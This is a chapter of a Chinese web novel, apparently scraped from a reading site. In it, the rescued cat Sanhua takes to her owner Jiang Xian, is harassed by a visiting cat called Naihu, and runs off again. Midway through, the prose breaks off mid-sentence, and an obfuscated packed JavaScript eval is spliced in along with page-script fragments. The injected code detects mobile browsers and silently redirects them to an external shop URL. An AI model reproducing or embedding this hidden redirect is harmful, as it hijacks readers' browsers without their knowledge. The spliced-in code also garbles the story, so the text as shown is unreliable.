三花吃得肚皮圆鼓鼓,像一个饱满的小球,随着呼吸轻轻起伏。她懒洋洋地躺在小窝的软垫上,尾巴悠闲地卷在一旁,偶尔还会轻轻地摇摆几下,一副快乐猫样。
夜宵取消,补了晚饭。江睍也不算万恶的人类,暂时为止他还算很不错的主人。
出逃一圈,发馊发酸的馒头终于让三花终于明白了美味猫粮的含金量。当然,美味猫粮的提供者——江睍在她心里的地位也随之进阶了一大步。
找回三花后,江家的生活回归平静。江爸爸和江奶奶早出晚归地经营面馆,江睍上学、训练,依旧保持着回家喂养三花的习惯。他每次出门或回家都会逗弄她一下,休息时,也会花很长时间陪三花玩耍。
毕竟是补习班出来的猫猫,三花不仅爱玩,还保持着一颗爱学习的心。她喜欢在江睍做功课时,轻轻一跃跳上书桌,趴在他结实的手臂旁,睁着圆圆大大的眼睛凑过去看他的书本。如果遇见她不认识的字,她便抬起白白的爪子去触碰他的书本,不住地拍打,抬头渴求地看着他。
江睍也不恼,只是摸摸她的脑袋,眯着眼睛逐字跟她解释。
“不学无术,‘不’和‘无’的意思是没有,‘学’的意思是学问,‘术’的意思是技能、本领,不学无术指得是没有学问,没有本领。不努力学习,就没有学问和本领,就会变得不学无术。”
为了不做一只不学无术的猫,三花不会错过每一次学习的机会。
她喜欢粘着江睍陪他做功课,学认字,学算术,喜欢窝在江奶奶旁边看连续剧,学人与人的相处。
当电视所属权被江爸爸占领时,各种体育比赛她也陪着看,尤其是游泳比赛,江爸爸最爱看,她也爱看。只不过跟江爸爸不对付的她只会窝在沙发一角,离他远远的。江睍也常常陪爸爸看游泳比赛,每次他一坐下,她便从角落跳到他的怀里,安稳地窝在他的大腿上。
“小野猫,竟然也变得亲人了。”江爸爸总会这样阴阳怪气地说。
贪恋美味的猫粮,贪恋江睍每日对她的抚摸和逗弄,贪恋有很多知识的书本和五花八门的电视节目,三花将再次出逃的计划一拖再拖,不知不觉已经搁浅了三个多月。
就连江爸爸都觉得“小野猫变安分”的时候,某一天的周末,三花又不见猫影了。
三花消失的前一天,从校游泳馆训练完的江睍碰见从图书馆温完书的李律,两人便默契地一起并肩走出学校。路上,李律问起三花的状态。
“小三花最近咋样吗?”
“挺乖的,”江睍想到三花贪吃的模样补充道,“现在,都胖嘟嘟了。”
“真羡慕啊!我家奶糊又开始不吃饭了,上等猫粮看都不看一眼,还老是发癫,动不动就乱嚎。”
江睍觉得自己给不出建设性的建议,便点了点头没接话。
以前李律常常跟江睍念叨奶糊,江睍都反应冷淡,他以为江睍是对猫不感兴趣。现在养了三花,江睍还一副老样子,看来不是对猫不感兴趣,只是对奶糊并不感兴趣。
“小朋友在家是饭渣,追着喂都不行,一进幼儿园便能吃得多又快,你知道为什么吗?”
“为什么?”
“因为小朋友之间会效仿,出现一些竞争,所以吃饭的质量和效率都提升上来了。”
“所以?”
“所以,我打算明天带奶糊去你家拜访一下三花小朋友,让奶糊跟三花学学干饭,顺便交个朋友。”
三花到江家后,还没跟同类见面玩耍过,江睍也希望她能交到猫猫朋友,但是他对奶糊的“猫性”并不是很满意。
“怎么?不欢迎?”李律佯装不悦。
“不欢迎,你会不来吗?”
“当然不会。”
李律最喜欢擅做决定和不请自来,所以他的话是在通知江睍,而不是在寻求意见。
江睍回到家第一时间将三花捞进怀里,告诉她李律和奶糊明日要来拜访的事情。
“明天,奶糊要来家里玩,他不爱吃饭,你千万别学他。”
李律想让奶糊跟着三花学吃饭,江睍则害怕三花跟着奶糊学不吃饭,所以提前嘱托三花。但江睍的顾虑有些多余,三花的吃货属性并不是小小奶糊能轻易改变的。
竟然不爱吃饭?简直身在福中不知福!
三花倒是很想见见这个被娇惯的家养猫,她打算用自己的流浪故事好好教育教育他。哪成想,事实完全脱离江睍和三花的预想。
李律背着猫包上门时,三花正窝在沙发看电视,见来人是熟悉的李律便坐起身伸着脑袋张望着传说中的奶糊。她还从古装剧里新学了一个成语叫做“弥足珍贵”,准备用来教育奶糊珍惜现在家养生活。
“Halo,小三花~这是奶糊,认识一下吧~”
李律刚入玄关便将猫包拿下,放出了奶糊。给李律开门的江睍站在他隔壁,接过空了猫包转身找合适的地方悬挂。
谁都没想到,刚放出来的奶糊左右摆动着圆鼓鼓的脑袋四处张望,对新的环境表现出很高的警觉和兴趣。他发现了慵懒躺在沙发处的三花。三花也正在考量地看着他,四目相对,奶糊的瞳孔放大,眼神变得迷离起来。
“喵~”
你好。
三花只是友好地打了声招呼,奶糊听起来却是大美女在邀请我。
“喵~喵~”
美人,我来了。
吃得少,比一般英短更瘦也更灵巧的奶糊,像离弦的箭一般“嗖”的一声窜到三花跟前,在她错愕不及下跳上沙发向她扑了过去。
他想骑在三花身上,三花边大叫边龇着牙挣扎,用猫爪狠狠扇他的巴掌。
事情发生得太快,两个主人谁都没想到。李律还错愕地呆在原地,江睍已经飞快冲到两只猫处,将奶糊扯离三花身边,嫌恶地丢到一边。
他将三花抱在怀里安抚,怀里的三花依旧恶狠狠地朝奶糊龇牙咧嘴,发出尖细的警告。
被江睍丢在一边的奶糊,仍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747273|209337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
死心地将尾巴高高竖起,来回摆动着,发出低沉的叫声。
“嘶嘶!喵喵!”
警告你,离我远一点,不然我打死你。
“喵呜~喵呜~”
你别生气~你给我当老婆吧。
“喵!喵!喵!喵!”
谁要做你老婆!闭嘴!江睍放我下去,我要扇他!
三花彻底炸毛,挣扎着想从江睍的怀里跳出去扇奶糊胡说八道的嘴。
“这就是你说的交个朋友?”江睍质问“当事猫”的主人。
李律尴尬地瘪嘴,恨铁不成钢地看着仍在朝三花搔首弄姿,展示身体魅力的奶糊。
江睍愠怒地瞅了眼奶糊,转身将炸毛的三花送到楼上保护起来。
他将三花放进房间,安抚道:“别怕,乖乖呆在这里,我一会儿就回来陪你。”说完微微合上门下楼找李律和奶糊算账。
三花越想越气,还想跟下去给奶糊两巴掌。门还没完全合实,三花用小爪子从缝隙中奋力挠开,从房间跑出来,潜藏在楼梯处,准备等待奶糊不备之时出击报仇。
楼下抱着奶糊的李律心虚地对着江睍打哈哈:“三花的魅力真是恐怖如斯哈,真不愧是猫界有名的大美女。”他轻拍奶糊以示惩戒,“你小子也太着急了吧,怎么一上来就……”他也有点不好意思,战术性咳嗽一声接着道,“咳,没礼貌!”他再次拍了拍眼里仍在冒爱心的奶糊,“真想要三花做媳妇,可以慢慢追求嘛~”
什么?难道真要把她许配给那个疯猫做老婆?
不行!江睍和那个李律是好朋友,他肯定会把她送给奶糊做老婆的,这个家呆不下去了!她得赶紧跑!
三花心中警钟大作,李律和江睍的对话再也听不下去了,害怕地蹿回房间,躲在窝里盘算着逃跑。
“别开玩笑了。”江睍指着李律怀里的奶糊说,“他在发情,赶紧带他去绝育。”
一听绝育,李律怀里的奶糊开始不安起来,尾巴缩了缩藏在两腿之间,尖尖的猫耳也紧贴着头部,一副防御状态。
“明天,我陪你一起去。”
李律摆了摆手,尴尬地笑道:“不用了,其实奶糊早就绝育过了。”他打开奶糊的双腿向江睍证明,“就说,三花的魅力恐怖如斯吧。”
江睍仍不罢休,对奶糊下达禁令:“你,不许再靠近三花。”
房间里的三花并不知道奶糊已经绝育,更不知道江睍对她的保护,只觉得不做奶糊老婆只有出逃这一条路。
所以第二天,她趁着奶奶从面馆回来拿东西的间隙,跟在奶奶身后再次跑出了家门。
“我怎么说来着,她就是只养不熟的猫。”
听说三花再次出逃,江爸爸生气地阻止江睍外出寻找,他说:“不许出去找了,找回来也留不住的,瞎浪费时间。”
江爸爸的话并没有阻止住江睍寻找的步伐,好在这次是在白天,三花也没跑得太远,他在出了社区街道边的便利店门口发现了她。